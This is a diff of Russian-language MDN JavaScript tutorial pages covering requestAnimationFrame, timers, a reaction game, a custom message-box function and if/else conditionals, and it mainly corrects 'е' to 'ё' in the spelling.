      Например, код приведенный ниже (рабочий код) выводит alert содержащий "Hello", затем alert содержащий "World" как только вы нажмете ОК в первом alert.
      
+
      Например, код приведённый ниже (рабочий код) выводит alert содержащий "Hello", затем alert содержащий "World" как только вы нажмёте ОК в первом alert.
      
 
 
      setTimeout(function() {
   alert('World');
@@ -250,7 +250,7 @@ alert('Hello');
      
 
 draw();
      -

      Идея состоит в том, чтобы определить функцию, в которой ваша анимация обновляется (например, ваши спрайты перемещаются, счет обновляется, данные обновляются или что-то еще). Затем вы вызываете его, чтобы начать процесс. В конце функционального блока вы вызываете requestAnimationFrame () со ссылкой на функцию, переданной в качестве параметра, и это дает браузеру указание вызвать функцию снова при следующей перерисовке дисплея. Затем он выполняется непрерывно, поскольку код рекурсивно вызывает requestAnimationFrame ().

      +

      Идея состоит в том, чтобы определить функцию, в которой ваша анимация обновляется (например, ваши спрайты перемещаются, счёт обновляется, данные обновляются или что-то ещё). Затем вы вызываете его, чтобы начать процесс. В конце функционального блока вы вызываете requestAnimationFrame () со ссылкой на функцию, переданной в качестве параметра, и это даёт браузеру указание вызвать функцию снова при следующей перерисовке дисплея. Затем он выполняется непрерывно, поскольку код рекурсивно вызывает requestAnimationFrame ().

      Note: Если вы хотите выполнить простое постоянное анимирование DOM , CSS Анимация вероятно будет быстрее. Она вычисляется непосредственно внутренним кодом браузера, а не JavaScript.

      @@ -264,13 +264,13 @@ draw();

      Поскольку большинство экранов имеют частоту обновления 60 Гц, максимальная частота кадров, к которой вы можете стремиться, составляет 60 кадров в секунду (FPS) при работе с веб-браузерами. Однако большее количество кадров означает больше обработки, которая часто может вызывать заикание и пропуски, также известные как пропадание кадров или заедание.

      -

      Если у вас есть монитор с частотой обновления 60 Гц и вы хотите достичь 60 кадров в секунду, у вас есть около 16,7 миллисекунд (1000/60) для выполнения кода анимации для рендеринга каждого кадра. Это напоминание о том, что вам нужно помнить об объеме кода, который вы пытаетесь запустить во время каждого прохождения цикла анимации.

      +

      Если у вас есть монитор с частотой обновления 60 Гц и вы хотите достичь 60 кадров в секунду, у вас есть около 16,7 миллисекунд (1000/60) для выполнения кода анимации для рендеринга каждого кадра. Это напоминание о том, что вам нужно помнить об объёме кода, который вы пытаетесь запустить во время каждого прохождения цикла анимации.

      -

      requestAnimationFrame () всегда пытается приблизиться к этому волшебному значению 60 FPS, насколько это возможно. Иногда это невозможно - если у вас действительно сложная анимация и вы запускаете ее на медленном компьютере, частота кадров будет меньше. Во всех случаях requestAnimationFrame () всегда будет делать все возможное с тем, что у него есть.

      +

      requestAnimationFrame () всегда пытается приблизиться к этому волшебному значению 60 FPS, насколько это возможно. Иногда это невозможно - если у вас действительно сложная анимация и вы запускаете её на медленном компьютере, частота кадров будет меньше. Во всех случаях requestAnimationFrame () всегда будет делать все возможное с тем, что у него есть.

      Чем отличается requestAnimationFrame() от setInterval() and setTimeout()?

      -

      Давайте поговорим еще немного о том, чем метод requestAnimationFrame () отличается от других методов, используемых ранее. Глядя на наш код сверху:

      +

      Давайте поговорим ещё немного о том, чем метод requestAnimationFrame () отличается от других методов, используемых ранее. Глядя на наш код сверху:

      function draw() {
    // Drawing code goes here
@@ -295,7 +295,7 @@ setInterval(draw, 17);

      Фактическому колбэку, переданному в функцию requestAnimationFrame (), также может быть задан параметр: значение отметки времени, которое представляет время с момента начала работы requestAnimationFrame ().

      -

      Это полезно, поскольку позволяет запускать вещи в определенное время и в постоянном темпе, независимо от того, насколько быстрым или медленным может быть ваше устройство. Общий шаблон, который вы бы использовали, выглядит примерно так:

      +

      Это полезно, поскольку позволяет запускать вещи в определённое время и в постоянном темпе, независимо от того, насколько быстрым или медленным может быть ваше устройство. Общий шаблон, который вы бы использовали, выглядит примерно так:

      let startTime = null;
 
@@ -321,7 +321,7 @@ draw();

      Простой пример

      -

      Хватит теории! Давайте выполним упражнение с использованием requestAnimationFrame() . Создадим простую анимацию "spinner animation"—вы могли ее видеть в приложениях когда происходят задержки при ответе с сервера и т.п..

      +

      Хватит теории! Давайте выполним упражнение с использованием requestAnimationFrame() . Создадим простую анимацию "spinner animation"—вы могли её видеть в приложениях когда происходят задержки при ответе с сервера и т.п..

      Note: Для такой простой анимации, вам следовало бы использовать CSS . Однако такой вид анимации очень полезен для демонстрации requestAnimationFrame() , вы скорее всего будете использовать этот метод когда делаете что-то более сложное, например обновление отображения игры в каждом кадре.

      @@ -376,7 +376,7 @@ let rAF; }
    • -

      Внутри draw () добавьте следующие строки. Они определят время начала, если оно еще не определено (это произойдет только на первой итерации цикла), и установят для параметра rotateCount значение для поворота счетчика (текущая временная метка, возьмите начальную временную метку, разделенную на три, чтобы замедлиться):

      +

      Внутри draw () добавьте следующие строки. Они определят время начала, если оно ещё не определено (это произойдёт только на первой итерации цикла), и установят для параметра rotateCount значение для поворота счётчика (текущая временная метка, возьмите начальную временную метку, разделённую на три, чтобы замедлиться):

        if (!startTime) {
    startTime = timestamp;
@@ -396,7 +396,7 @@ let rAF;
   
      spinner.style.transform = `rotate(${rotateCount}deg)`;
    • -

      В самом низу внутри функции draw () вставьте следующую строку. Это ключ ко всей операции - вы устанавливаете для переменной, определенной ранее, активный вызов requestAnimation (), который принимает функцию draw () в качестве своего параметра. Это запускает анимацию, постоянно выполняя функцию draw () со скоростью, близкой к 60 FPS.

      +

      В самом низу внутри функции draw () вставьте следующую строку. Это ключ ко всей операции - вы устанавливаете для переменной, определённой ранее, активный вызов requestAnimation (), который принимает функцию draw () в качестве своего параметра. Это запускает анимацию, постоянно выполняя функцию draw () со скоростью, близкой к 60 FPS.

      rAF = requestAnimationFrame(draw);
      • @@ -421,13 +421,13 @@ let rAF;

      Активное обучение: запуск и остановка нашей анимации

      -

      В этом упражнении мы хотели бы, чтобы вы протестировали метод cancelAnimationFrame (), взяв наш предыдущий пример и обновив его, добавив обработчик событий для запуска и остановки счетчика при щелчке мышью в любом месте страницы.

      +

      В этом упражнении мы хотели бы, чтобы вы протестировали метод cancelAnimationFrame (), взяв наш предыдущий пример и обновив его, добавив обработчик событий для запуска и остановки счётчика при щелчке мышью в любом месте страницы.

      Подсказки:

      • Обработчик события щелчка можно добавить к большинству элементов, включая документ <body>. Имеет смысл поместить его в элемент <body>, если вы хотите максимизировать интерактивную область - событие всплывает до его дочерних элементов.
        • -
      • Вы захотите добавить переменную отслеживания, чтобы проверить, вращается ли счетчик или нет, очистив кадр анимации, если он есть, и снова вызвать его, если это не так.
        • +
      • Вы захотите добавить переменную отслеживания, чтобы проверить, вращается ли счётчик или нет, очистив кадр анимации, если он есть, и снова вызвать его, если это не так.
      @@ -436,9 +436,9 @@ let rAF;

      Регулировка анимации requestAnimationFrame() 

      -

      Одним из ограничений requestAnimationFrame () является то, что вы не можете выбирать частоту кадров. В большинстве случаев это не проблема, так как обычно вы хотите, чтобы ваша анимация работала как можно плавное. Но как насчет того, чтобы создать олдскульную 8-битную анимацию?

      +

      Одним из ограничений requestAnimationFrame () является то, что вы не можете выбирать частоту кадров. В большинстве случаев это не проблема, так как обычно вы хотите, чтобы ваша анимация работала как можно плавное. Но как насчёт того, чтобы создать олдскульную 8-битную анимацию?

      -

      Это было проблемой, например в анимации ходьбы, вдохновленной островом обезьян, из статьи Drawing Graphics:

      +

      Это было проблемой, например в анимации ходьбы, вдохновлённой островом обезьян, из статьи Drawing Graphics:

      {{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

      @@ -466,13 +466,13 @@ let rAF;

      Это код, который вычисляет, как обновлять позицию в каждом кадре анимации.

      -

      Метод, который вы используете для регулирования анимации, будет зависеть от вашего конкретного кода. Например, в предыдущем примере счетчика вы могли заставить его двигаться медленнее, увеличивая rotateCount только на единицу в каждом кадре вместо двух.

      +

      Метод, который вы используете для регулирования анимации, будет зависеть от вашего конкретного кода. Например, в предыдущем примере счётчика вы могли заставить его двигаться медленнее, увеличивая rotateCount только на единицу в каждом кадре вместо двух.

      Активное обучение: игра на реакцию

      В последнем разделе этой статьи вы создадите игру на реакцию для двух игроков. В игре будет два игрока, один из которых управляет игрой с помощью клавиши A, а другой - с помощью клавиши L.

      -

      При нажатии кнопки «Start» счетчик, подобный тому, что мы видели ранее, отображается в течение случайного промежутка времени от 5 до 10 секунд. По истечении этого времени появится сообщение «PLAYERS GO !!» - как только это произойдет, первый игрок, который нажмет свою кнопку управления, выиграет игру.

      +

      При нажатии кнопки «Start» счётчик, подобный тому, что мы видели ранее, отображается в течение случайного промежутка времени от 5 до 10 секунд. По истечении этого времени появится сообщение «PLAYERS GO !!» - как только это произойдёт, первый игрок, который нажмёт свою кнопку управления, выиграет игру.

      {{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}

      @@ -480,7 +480,7 @@ let rAF;
      1. -

        Прежде всего, скачайте стартовый файл. Он содержит законченную структуру HTML и стили CSS, что дает нам игровую доску, которая показывает информацию двух игроков (как показано выше), но с счетчиком и параграфом результатов, отображаемыми друг над другом. Вам нужно просто написать JavaScript код.

        +

        Прежде всего, скачайте стартовый файл. Он содержит законченную структуру HTML и стили CSS, что даёт нам игровую доску, которая показывает информацию двух игроков (как показано выше), но с счётчиком и параграфом результатов, отображаемыми друг над другом. Вам нужно просто написать JavaScript код.

      2. Внутри пустого элемента {{htmlelement("script")}} на вашей странице, начните с добавления следующих строк кода, которые определяют некоторые переменные и константы, которые вам понадобятся в дальнейшем:

        @@ -498,8 +498,8 @@ const result = document.querySelector('.result');
        1. Ссылка на спиннер, чтобы вы могли его анимировать.
        2. Ссылка на элемент {{htmlelement("div")}} содержащий спиннер, используемый для отображения и скрытия.
          3. -
        3. Счетчик поворотов. Он определяет, на сколько вы хотите показывать вращение спиннера на каждом кадре анимации.
          4. -
        4. Нулевое время начала. Это будет заполнено временем начала, когда счетчик начнет вращаться.
          5. +
        5. Счётчик поворотов. Он определяет, на сколько вы хотите показывать вращение спиннера на каждом кадре анимации.
          6. +
        6. Нулевое время начала. Это будет заполнено временем начала, когда счётчик начнёт вращаться.
        7. Неинициализированная переменная для последующего хранения вызова {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} который анимирует спиннер.
        8. Ссылка на кнопку Start .
        9. Ссылка на параграф результатов.
          10. @@ -514,7 +514,7 @@ const result = document.querySelector('.result'); }
        10. -

          Затем добавьте функцию draw(), которая анимирует спиннер. Это очень похоже на версию из предыдущего примера простого счетчика:

          +

          Затем добавьте функцию draw(), которая анимирует спиннер. Это очень похоже на версию из предыдущего примера простого счётчика:

          function draw(timestamp) {
   if(!startTime) {
@@ -532,13 +532,13 @@ const result = document.querySelector('.result');
          }
        11. -

          Теперь пришло время настроить начальное состояние приложения при первой загрузке страницы. Добавьте следующие две строки, которые просто скрывают абзац результатов и контейнер счетчика с помощью display: none ;.

          +

          Теперь пришло время настроить начальное состояние приложения при первой загрузке страницы. Добавьте следующие две строки, которые просто скрывают абзац результатов и контейнер счётчика с помощью display: none ;.

          result.style.display = 'none';
 spinnerContainer.style.display = 'none';
        12. -

          Затем определите функцию reset (), которая возвращает приложение в исходное состояние, необходимое для повторного запуска игры после ее завершения. Добавьте в конец кода следующее:

          +

          Затем определите функцию reset (), которая возвращает приложение в исходное состояние, необходимое для повторного запуска игры после её завершения. Добавьте в конец кода следующее:

          function reset() {
   btn.style.display = 'block';
@@ -547,7 +547,7 @@ spinnerContainer.style.display = 'none';
          }
        13. -

          Хорошо, хватит подготовки! Пришло время сделать игру доступной! Добавьте в свой код следующий блок. Функция start () вызывает draw (), чтобы запустить вращение спиннера и отобразить его в пользовательском интерфейсе, скрыть кнопку Start, чтобы вы не могли испортить игру, запустив ее несколько раз одновременно, и запускает вызов setTimeout (), который выполняется функция setEndgame () по прошествии случайного интервала от 5 до 10 секунд. Следующий блок также добавляет обработчик событий к вашей кнопке для запуска функции start () при ее нажатии.

          +

          Хорошо, хватит подготовки! Пришло время сделать игру доступной! Добавьте в свой код следующий блок. Функция start () вызывает draw (), чтобы запустить вращение спиннера и отобразить его в пользовательском интерфейсе, скрыть кнопку Start, чтобы вы не могли испортить игру, запустив её несколько раз одновременно, и запускает вызов setTimeout (), который выполняется функция setEndgame () по прошествии случайного интервала от 5 до 10 секунд. Следующий блок также добавляет обработчик событий к вашей кнопке для запуска функции start () при её нажатии.

          btn.addEventListener('click', start);
 
@@ -561,7 +561,7 @@ function start() {
   
          
   
          Note: Вы увидите, что этот пример вызывает setTimeout() без сохранения возвращаемого значения. (не  let myTimeout = setTimeout(functionName, interval).) 
          
 
-  
          Это прекрасно работает, если вам не нужно очищать интервал / тайм-аут в любой момент. Если вы это сделаете, вам нужно будет сохранить возвращенный идентификатор!
          
+  
          Это прекрасно работает, если вам не нужно очищать интервал / тайм-аут в любой момент. Если вы это сделаете, вам нужно будет сохранить возвращённый идентификатор!
          
   
          
 
   
          Конечным результатом предыдущего кода является то, что при нажатии кнопки «Start» отображается спиннер, и игроки вынуждены ждать произвольное количество времени, прежде чем их попросят нажать их кнопку. Эта последняя часть обрабатывается функцией setEndgame (), которую вы определите позже.
          
@@ -602,7 +602,7 @@ function start() {
    
        14. Во-первых, отмените анимацию спиннера с помощью {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} (всегда полезно очистить ненужные процессы), и скройте контейнер счетчика.
          15. 
    
        15. Затем, отобразите абзац с результатами и установите для его текстового содержимого значение "PLAYERS GO!!"  чтобы сообщить игрокам, что теперь они могут нажать свою кнопку, чтобы победить.
          16. 
    
        16. Прикрепите к документу обработчик событий keydown . При нажатии любой кнопки запускается функция keyHandler().
          17. 
-   
        17. Внутри keyHandler(), код включает объект события в качестве параметра (представленного e) — его свойство {{domxref("KeyboardEvent.key", "key")}} содержит только что нажатую клавишу, и вы можете использовать это для ответа на определенные нажатия клавиш определенными действиями.
          18. 
+   
        18. Внутри keyHandler(), код включает объект события в качестве параметра (представленного e) — его свойство {{domxref("KeyboardEvent.key", "key")}} содержит только что нажатую клавишу, и вы можете использовать это для ответа на определённые нажатия клавиш определёнными действиями.
          19. 
    
        19. Установите для переменной isOver значение false, чтобы мы могли отслеживать, были ли нажаты правильные клавиши, чтобы игрок 1 или 2 выиграл. Мы не хотим, чтобы игра заканчивалась при нажатии неправильной клавиши.
          20. 
    
        20. Регистрация e.key в консоли, это полезный способ узнать значение различных клавиш, которые вы нажимаете.
          21. 
    
        21. Когда e.key принимает значение "a", отобразить сообщение о том, что Player 1 выиграл, а когда e.key это "l", отобразить сообщение о том, что Player 2 выиграл. (Note: Это будет работать только со строчными буквами a и l — если переданы прописные A или L , это считается другими клавишами!) Если была нажата одна из этих клавиш, установите для isOver значение true.
          22. 
@@ -619,7 +619,7 @@ function start() {
 
 
          Заключение
          
 
-
          Вот и все — все основы асинхронных циклов и интервалов рассмотрены в статье. Вы найдете эти методы полезными во многих ситуациях, но постарайтесь не злоупотреблять ими! Поскольку они по-прежнему выполняются в основном потоке, тяжелые и интенсивные колбэки (особенно те, которые управляют DOM) могут действительно замедлить страницу, если вы не будете осторожны.
          
+
          Вот и все — все основы асинхронных циклов и интервалов рассмотрены в статье. Вы найдёте эти методы полезными во многих ситуациях, но постарайтесь не злоупотреблять ими! Поскольку они по-прежнему выполняются в основном потоке, тяжёлые и интенсивные колбэки (особенно те, которые управляют DOM) могут действительно замедлить страницу, если вы не будете осторожны.
          
 
 
          {{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}
          
 
@@ -628,7 +628,7 @@ function start() {
      - +
      Задача:Научить создавать пользовательской функции и объяснить еще несколько полезных деталей.Научить создавать пользовательской функции и объяснить ещё несколько полезных деталей.
      @@ -31,7 +31,7 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function

      Функция alert принимает один аргумент - строку, которая отображается в окне сообщения на веб-странице Попробуйте изменить строку, чтобы изменить сообщение.

      -

      Функция alert ограничена: вы можете изменить текст сообщения, но не получится изменить его стиль, например, цвет, значок или что-то еще. Создадим сообщение, более интересное по стилю.

      +

      Функция alert ограничена: вы можете изменить текст сообщения, но не получится изменить его стиль, например, цвет, значок или что-то ещё. Создадим сообщение, более интересное по стилю.

      Примечание: Этот пример будет работать во всех современных браузерах, но стиль может выглядеть немного смешным в более старых браузерах. Мы рекомендуем вам выполнять это упражнение в современном браузере, таком как Firefox, Opera или Chrome.

      @@ -39,10 +39,10 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function

      Основная функция

      -

      Для начала давайте соберем основную функцию.

      +

      Для начала давайте соберём основную функцию.

      -

      Примечание: Для согласований имен функций нужно следовать тем же правилам, что и правила именования переменных. Отличить имена функций от имен переменных просто: после имен функций указываются круглые скобки, а после имен переменных их нет.

      +

      Примечание: Для согласований имён функций нужно следовать тем же правилам, что и правила именования переменных. Отличить имена функций от имён переменных просто: после имён функций указываются круглые скобки, а после имён переменных их нет.

        @@ -81,9 +81,9 @@ closeBtn.onclick = function() {

        В следующем разделе используется другая функция DOM API, называемая {{domxref ("Document.createElement()")}}, применяется для создания элемента {{htmlelement ("div")}} и сохраняет ссылку на него в переменной, называемой panel. Этот элемент будет внешним контейнером нашего окна сообщений.

        -

        Затем мы используем еще одну функцию DOM API, называемую {{domxref ("Element.setAttribute()")}}, чтобы установить атрибут class на нашей панели со значением msgBox. Это упрощает стилизацию элемента. Если вы посмотрите на CSS на странице, вы увидите, что мы используем селектор класса .msgBox для стилизации окна сообщения и его содержимого.

        +

        Затем мы используем ещё одну функцию DOM API, называемую {{domxref ("Element.setAttribute()")}}, чтобы установить атрибут class на нашей панели со значением msgBox. Это упрощает стилизацию элемента. Если вы посмотрите на CSS на странице, вы увидите, что мы используем селектор класса .msgBox для стилизации окна сообщения и его содержимого.

        -

        Наконец, мы вызываем функцию DOM с именем {{domxref ("Node.appendChild()")}} в переменной html, которую мы сохранили ранее, которая вкладывает один элемент в другой как его дочерний элемент. Указываем панель <div> как дочерний элемент, который мы хотим вложить внутрь элемента <html>. То есть, когда мы создаем какой-то элемент, он не просто будет отображаться на странице сам по себе, нам нужно указать, куда его поместить.

        +

        Наконец, мы вызываем функцию DOM с именем {{domxref ("Node.appendChild()")}} в переменной html, которую мы сохранили ранее, которая вкладывает один элемент в другой как его дочерний элемент. Указываем панель <div> как дочерний элемент, который мы хотим вложить внутрь элемента <html>. То есть, когда мы создаём какой-то элемент, он не просто будет отображаться на странице сам по себе, нам нужно указать, куда его поместить.

        var panel = document.createElement('div');
 panel.setAttribute('class', 'msgBox');
@@ -101,7 +101,7 @@ panel.appendChild(closeBtn);

        В заключении мы используем обработчик событий {{domxref ("GlobalEventHandlers.onclick")}}, чтобы при нажатии кнопки был запущен некоторый код для удаления всей панели со страницы, т.е. для закрытия окна сообщения.

        -

        Вкратце, обработчик onclick — это свойство, доступное для кнопки (или, фактически, для любого элемента страницы), которое можно установить в функцию, чтобы указать, какой код следует запускать при нажатии кнопки. Вы узнаете об этом больше в нашей статье о последующих событиях. Мы делаем обработчик onclick равным анонимной функции, которая содержит код, запускаемый при нажатии кнопки. Строка внутри функции использует функцию {{domxref ("Node.removeChild()")}} DOM API, чтобы указать, что мы хотим удалить определенный дочерний элемент внутри HTML — в данном случае панель <div>.

        +

        Вкратце, обработчик onclick — это свойство, доступное для кнопки (или, фактически, для любого элемента страницы), которое можно установить в функцию, чтобы указать, какой код следует запускать при нажатии кнопки. Вы узнаете об этом больше в нашей статье о последующих событиях. Мы делаем обработчик onclick равным анонимной функции, которая содержит код, запускаемый при нажатии кнопки. Строка внутри функции использует функцию {{domxref ("Node.removeChild()")}} DOM API, чтобы указать, что мы хотим удалить определённый дочерний элемент внутри HTML — в данном случае панель <div>.

        closeBtn.onclick = function() {
   panel.parentNode.removeChild(panel);
@@ -121,9 +121,9 @@ panel.appendChild(closeBtn);

        Теперь у вас есть определение функции, написанное в вашем элементе <script>, но оно ничего не будет делать в том виде, в каком оно есть.

          -
        1. Попробуйте написать следующую строку под своей функцией, чтобы вызвать ее: +
        2. Попробуйте написать следующую строку под своей функцией, чтобы вызвать её: 
          displayMessage();
          - Эта строка вызывает функцию, немедленно запуская ее. Когда вы сохраните код и перезагрузите его в браузере, вы увидите, что небольшое окно сообщения появляется сразу и только один раз.
          3. + Эта строка вызывает функцию, немедленно запуская её. Когда вы сохраните код и перезагрузите его в браузере, вы увидите, что небольшое окно сообщения появляется сразу и только один раз.

        3. Теперь откройте инструменты разработчика браузера на странице примера, перейдите в консоль JavaScript и снова введите эту строку. Вы увидите, что окно появится снова! Теперь у нас есть функция многократного использования, которую мы можем вызвать в любое время.

          @@ -132,7 +132,7 @@ panel.appendChild(closeBtn);

          В этой демонстрации мы получим окно сообщения, когда пользователь нажимает кнопку.

        4. Удалите предыдущую добавленную строку.
          5. -
        5. Затем мы выберем кнопку и сохраним ссылку на нее в переменной. Добавьте следующую строку в свой код, над определением функции: +
        6. Затем мы выберем кнопку и сохраним ссылку на неё в переменной. Добавьте следующую строку в свой код, над определением функции: 
          var btn = document.querySelector('button');
        7. Наконец, добавьте следующую строку ниже предыдущей: @@ -151,7 +151,7 @@ panel.appendChild(closeBtn);

          Улучшение функции с параметрами

          -

          В нынешнем виде функция по-прежнему не очень полезна — мы не хотим показывать одно и то же сообщение по умолчанию каждый раз. Давайте улучшим нашу функцию, добавив некоторые параметры, позволяющие нам называть ее различными вариантами.

          +

          В нынешнем виде функция по-прежнему не очень полезна — мы не хотим показывать одно и то же сообщение по умолчанию каждый раз. Давайте улучшим нашу функцию, добавив некоторые параметры, позволяющие нам называть её различными вариантами.

          1. @@ -170,7 +170,7 @@ panel.appendChild(closeBtn); 
            msg.textContent = msgText;
            2. -
          2. И последнее, но не менее важное: теперь вам нужно обновить вызов функции, чтобы включить в него обновленный текст сообщения. Измените следующую строку: +
          3. И последнее, но не менее важное: теперь вам нужно обновить вызов функции, чтобы включить в него обновлённый текст сообщения. Измените следующую строку: 
            btn.onclick = displayMessage;

            к этому блоку:

            @@ -178,8 +178,8 @@ panel.appendChild(closeBtn); 
            btn.onclick = function() {
   displayMessage('Woo, this is a different message!');
 };
            - Если мы хотим указать параметры в круглых скобках для вызываемой нами функции, то мы не можем назвать ее напрямую, нам нужно поместить ее в анонимную функцию, чтобы она не находилась непосредственно в области видимости и, следовательно, не вызывалась немедленно. Теперь она не будет вызываться до нажатия кнопки.
            4. -
          4. Перезагрузите и протестируйте код еще раз, и вы увидите, что он по-прежнему работает, только теперь вы также можете изменять сообщение внутри параметра, чтобы отображать разные сообщения в окне.
            5. + Если мы хотим указать параметры в круглых скобках для вызываемой нами функции, то мы не можем назвать её напрямую, нам нужно поместить её в анонимную функцию, чтобы она не находилась непосредственно в области видимости и, следовательно, не вызывалась немедленно. Теперь она не будет вызываться до нажатия кнопки. +
          5. Перезагрузите и протестируйте код ещё раз, и вы увидите, что он по-прежнему работает, только теперь вы также можете изменять сообщение внутри параметра, чтобы отображать разные сообщения в окне.

          Более сложный параметр

          @@ -187,7 +187,7 @@ panel.appendChild(closeBtn);

          Переход к следующему параметру. Это потребует немного больше работы. Установим его так, чтобы в зависимости от того, какой параметр msgType установлен, функция отображала другой значок и другой цвет фона.

            -
          1. Для начала, загрузите значки, необходимые для этого упражнения (warning и chat [тут черные иконки на черном фоне... тролли на GitHub]) из GitHub. Сохраните их в новой папке icons в том же месте, что и ваш HTML-файл. +
          2. Для начала, загрузите значки, необходимые для этого упражнения (warning и chat [тут чёрные иконки на чёрном фоне... тролли на GitHub]) из GitHub. Сохраните их в новой папке icons в том же месте, что и ваш HTML-файл.
            Примечание: иконки warning и chat были найдены на iconfinder.com, и разработаны Nazarrudin Ansyari. Спасибо! (Фактические страницы значков были перемещены или удалены.) 
            3. @@ -213,8 +213,8 @@ background-repeat: no-repeat; } else { msg.style.paddingLeft = '20px'; } - Здесь, если параметр msgType установлен как 'warning', отображается значок предупреждения, а цвет фона панели устанавливается красным. Если для него установлено значение'chat', отображается значок чата, а цвет фона панели становится голубым. Если параметр msgType не задан вообще (или задано что-то другое), тогда вступает в действие else {...}, а абзацу просто присваиваются заданные по умолчанию отступы, нет никакого значка, при этом не задается цвет фона окна сообщения. Это обеспечивает состояние по умолчанию, если не указан параметр msgType, что означает, что это необязательный параметр! -
          3. Давайте протестируем нашу обновленную функцию, попробуем обновить вызов displayMessage () из этого: + Здесь, если параметр msgType установлен как 'warning', отображается значок предупреждения, а цвет фона панели устанавливается красным. Если для него установлено значение'chat', отображается значок чата, а цвет фона панели становится голубым. Если параметр msgType не задан вообще (или задано что-то другое), тогда вступает в действие else {...}, а абзацу просто присваиваются заданные по умолчанию отступы, нет никакого значка, при этом не задаётся цвет фона окна сообщения. Это обеспечивает состояние по умолчанию, если не указан параметр msgType, что означает, что это необязательный параметр!
            4. +
          4. Давайте протестируем нашу обновлённую функцию, попробуем обновить вызов displayMessage () из этого: 
            displayMessage('Woo, this is a different message!');

            к одному из них:

            @@ -230,7 +230,7 @@ displayMessage('Brian: Hi there, how are you today?','chat');

            Вывод

            -

            В этой статье мы познакомились со всем процессом создания практической пользовательской функции, которую с небольшими доработками можно перенести в реальный проект. В следующей статье мы рассмотрим еще одну важную концепцию — возвращаемые значения функций.

            +

            В этой статье мы познакомились со всем процессом создания практической пользовательской функции, которую с небольшими доработками можно перенести в реальный проект. В следующей статье мы рассмотрим ещё одну важную концепцию — возвращаемые значения функций.

            diff --git a/files/ru/learn/javascript/building_blocks/conditionals/index.html b/files/ru/learn/javascript/building_blocks/conditionals/index.html index a4f5a6e2bf..774d7f2745 100644 --- a/files/ru/learn/javascript/building_blocks/conditionals/index.html +++ b/files/ru/learn/javascript/building_blocks/conditionals/index.html @@ -15,7 +15,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
            {{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}
            -

            Во многих языках программирования код должен иметь возможность принимать решения на основе введенных пользователем данных. Например, в игре, если у пользователя осталось 0 жизней, то игра завершается. В приложении о погоде утром отображается восход солнца, а вечером звезды и луна. В этой статье мы рассмотрим как в  JavaScript работают так называемые "условия".

            +

            Во многих языках программирования код должен иметь возможность принимать решения на основе введённых пользователем данных. Например, в игре, если у пользователя осталось 0 жизней, то игра завершается. В приложении о погоде утром отображается восход солнца, а вечером звезды и луна. В этой статье мы рассмотрим как в  JavaScript работают так называемые "условия".

            @@ -34,13 +34,13 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals

            Люди (и животные) принимают какие-либо решения всю жизнь, от малозначимых ("стоит ли мне съесть одну печеньку или две?") до жизнеопределяющих ("стоит ли мне остаться дома и работать на ферме отца или переехать в другую страну и изучать астрофизику?")

            -

            Операторы условия в JavaScript позволяют нам указать разного рода действия в зависимости от выбранного пользователем или системой ответа (например одна печенька или две) и связать его с действием (результатом), например, результатом "съесть одну печеньку" будет "все еще буду чувствовать себя голодным", а результатом "съесть две печеньки" будет "буду чувствовать себя сытым, но мама меня нарушает за то, что я съел все сладости". 

            +

            Операторы условия в JavaScript позволяют нам указать разного рода действия в зависимости от выбранного пользователем или системой ответа (например одна печенька или две) и связать его с действием (результатом), например, результатом "съесть одну печеньку" будет "все ещё буду чувствовать себя голодным", а результатом "съесть две печеньки" будет "буду чувствовать себя сытым, но мама меня нарушает за то, что я съел все сладости". 

            Оператор if ... else

            -

            Давайте глянем на наиболее распространенный тип условного оператора, который вы будете использовать в JavaScript — if ... else оператор.

            +

            Давайте глянем на наиболее распространённый тип условного оператора, который вы будете использовать в JavaScript — if ... else оператор.

            Базовый if ... else синтаксис

            @@ -59,7 +59,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
          5. Условие для проверки (condition), расположено внутри круглых скобок (например "это значение больше другого значения?", или "это значение существует?"). Это условие использует операторы сравнения (comparison operators), которые мы изучим позже, и возвратит нам true или false.
          6. Внутри скобок { } расположен код, который будет выполняться только в том случае, если условие (condition) верно (true).
          7. Ключевое слово else (иначе).
            8. -
          8. Еще скобки { }, код внутри которых выполнится, только если условие не верно (не true).
            9. +
          9. Ещё скобки { }, код внутри которых выполнится, только если условие не верно (не true).

            10. Этот код довольно читабелен — он говорит "if (если)  condition (условие) возвращает true (истина), запусти код A, else (иначе) запусти B"

            @@ -74,7 +74,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals

            Тем не менее, следует быть осторожным — в случае, если код внутри вторых скобок { } не контролируется условием, то этот код будет выполняться всегда. Это не плохо, просто вы должны помнить об этом, чаще вы хотите запустить один кусок кода или другой, но не оба.

            -

            И, наконец, иногда вы можете встретить код if...else без фигурных скобок в сокращенной форме:

            +

            И, наконец, иногда вы можете встретить код if...else без фигурных скобок в сокращённой форме:

            if (condition) code to run if condition is true
 else run some other code instead
            @@ -83,7 +83,7 @@ else run some other code instead

            Реальный пример

            -

            Чтобы лучше понять синтаксис, давайте рассмотрим реальный пример. Представьте, что мать или отец попросили помочь с работой по дому своего ребенка.  Родитель может сказать: "Если ты поможешь мне с покупками, то я дам тебе дополнительные деньги на карманные расходы, которые ты сможешь потратить на игрушку, какую захочешь".  В JavaScript, мы можем представить это так: 

            +

            Чтобы лучше понять синтаксис, давайте рассмотрим реальный пример. Представьте, что мать или отец попросили помочь с работой по дому своего ребёнка.  Родитель может сказать: "Если ты поможешь мне с покупками, то я дам тебе дополнительные деньги на карманные расходы, которые ты сможешь потратить на игрушку, какую захочешь".  В JavaScript, мы можем представить это так: 

            var shoppingDone = false;
 
@@ -93,7 +93,7 @@ if (shoppingDone === true) {
   var childsAllowance = 5;
 }
            -

